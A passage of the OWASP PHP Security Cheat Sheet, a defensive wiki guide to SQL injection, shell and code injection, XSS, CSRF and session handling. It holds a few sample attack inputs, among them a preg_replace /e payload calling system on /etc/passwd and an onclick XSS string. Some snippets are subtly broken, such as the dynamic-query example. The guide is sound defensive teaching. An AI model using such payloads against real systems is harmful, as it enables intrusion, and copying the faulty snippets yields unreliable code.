Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=174063</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=174063"/>
